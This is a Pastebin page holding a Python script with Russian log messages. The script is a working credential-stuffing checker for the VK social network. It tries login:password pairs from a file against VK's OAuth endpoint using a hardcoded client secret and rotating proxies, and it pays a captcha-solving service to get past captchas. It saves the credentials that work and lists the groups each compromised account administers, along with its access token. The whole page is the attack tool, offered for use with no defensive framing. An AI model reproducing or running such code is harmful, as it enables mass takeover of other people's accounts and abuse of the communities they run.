Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- import requests, re, json, time, random, os
- from datetime import datetime
- from prettytable import PrettyTable
- os.system("python porxy-check.py")
- prxs = open("proxyS.txt", "r")
- logs = open("log.log", "a")
- proxies = []
- for line in prxs:
- proxies.append({"https":line.strip()})
- def log(txt):
- text = str(datetime.now().strftime("%A, %d. %B %Y %H:%M:%S"))+": "+str(txt)
- logs.write(text+"\n")
- print text
- def antigate(captchaUrl, key="***"):
- """ Return capcha code """
- captchaFile = "captcha.jpeg"
- captchaFileW = open(captchaFile, "w")
- captchaFileW.write(requests.get(captchaUrl).content)
- captchaFileW.close()
- log("Загрузили каптчу из вк.")
- time.sleep(2)
- log("Начинаем загрузку на антигейт")
- urlToUploadCaptcha = "http://anti-captcha.com/in.php"
- res = requests.post(urlToUploadCaptcha, data={"key": key}, files={'file': ("captcha.jpeg", open("captcha.jpeg", "rb"))}).text.encode("utf-8")
- resR = re.match(r"OK\|(?P<code>\d*)", res)
- while resR == None:
- time.sleep(1)
- res = requests.post(urlToUploadCaptcha, data={"key": key}, files={'file': ("captcha.jpeg", open("captcha.jpeg", "rb"))}).text.encode("utf-8")
- resR = re.match(r"OK\|(?P<code>\d*)", res)
- capchacodeR = re.match(r"OK\|(?P<code>\d*)", res)
- capchacode = capchacodeR.group("code")
- log("Загрузили каптчу. ID = "+str(capchacode)+". Ждём 10 секунд и пробуем получить результат")
- time.sleep(10)
- capchacodeRes = requests.get("http://anti-captcha.com/res.php?key="+key+"&action=get&id="+capchacode).text.encode("utf-8")
- capchacodeResR = re.match(r"OK\|(?P<code>.*)", capchacodeRes)
- while capchacodeResR == None:
- # log("Получить результат не удалось. Причина: "+capchacodeRes)
- if res != "ERROR_CAPTCHA_UNSOLVABLE":
- capchacodeRes = requests.get("http://anti-captcha.com/res.php?key="+key+"&action=get&id="+capchacode).text.encode("utf-8")
- capchacodeResR = re.match(r"OK\|(?P<code>.*)", capchacodeRes)
- else:
- return antigate(captchaUrl)
- time.sleep(5)
- log("Похоже, что отгадали каптчу. Результат: "+capchacodeResR.group("code"))
- return capchacodeResR.group("code")
- def auth(login, password, prox, code=None, sid=None):
- """ Return access_token or None """
- codeS = ""
- if code != None:
- codeS = "&captcha_sid="+str(sid)+"&captcha_key="+code
- response = requests.get("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username="+login+"&password="+password+codeS, proxies=prox).text.encode("utf-8")
- res = json.loads(response)
- if res.get("access_token"):
- return res.get("access_token")
- elif res.get("error") == "need_captcha":
- captchaUrl = res.get("captcha_img")
- captchaSid = res.get("captcha_sid")
- log("Пришла каптча. Отправляем на расшифровку. SID: "+str(captchaUrl))
- code = antigate(captchaUrl)
- return auth(login, password, prox, code, captchaSid)
- else:
- log("Ошибка авторизации вк: " + str(res.get("error_description")))
- return None
- def checkGroupAdmin(token, prox=None):
- """ return dick on None"""
- response = requests.get("https://api.vk.com/method/groups.get?filter=admin.moder,editor&fields=members_count&extended=1&access_token="+token, proxies=prox).text.encode("utf-8")
- res = json.loads(response)
- allCount = res.get("response")[0]
- if allCount>0:
- return res.get("response")[1:]
- accounts = []
- accmap = []
- x = PrettyTable()
- filem = open("accounts.txt", "r")
- success = open("account-success.txt", "w")
- for line in filem:
- accounts.append(line.strip())
- filem.close()
- for el in accounts:
- regularAkk = re.match(r"(?P<login>.*):(?P<password>.*)", el)
- login = regularAkk.group("login")
- password = regularAkk.group("password")
- proxi = proxies[random.randint(0, len(proxies)-1)]
- log("Авторизируем аккаунт "+login+" используя прокси " + str(proxi))
- res = auth(login, password, proxi)
- if res != None:
- log("Аккаунт "+login+" валидный! Проверим на наличие групп на аккаунте.")
- success.write(login+":"+password+"\n")
- groups = checkGroupAdmin(res, proxi)
- groupsAcc = []
- if groups != None:
- for gr in groups:
- groupsAcc.append({"groupId":gr["gid"],"count":gr["members_count"],"is_admin":gr["is_admin"],"admin_level":gr["admin_level"]})
- accmap.append([{"login":login, "password":password, "proxy":proxi, "token":res, "groups":groupsAcc}])
- success.close()
- for el in accmap:
- printGroups = ""
- for gr in el[0]["groups"]:
- printGroups = printGroups+("\nGroupId = {groupId:9} Members = {count:8} Admin level = {admin_level}".format(**gr))
- resultString = ("{login}:{password} - Token = {token}, Proxy:{proxy}, Groups: ".format(**el[0]))+printGroups
- print resultString
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement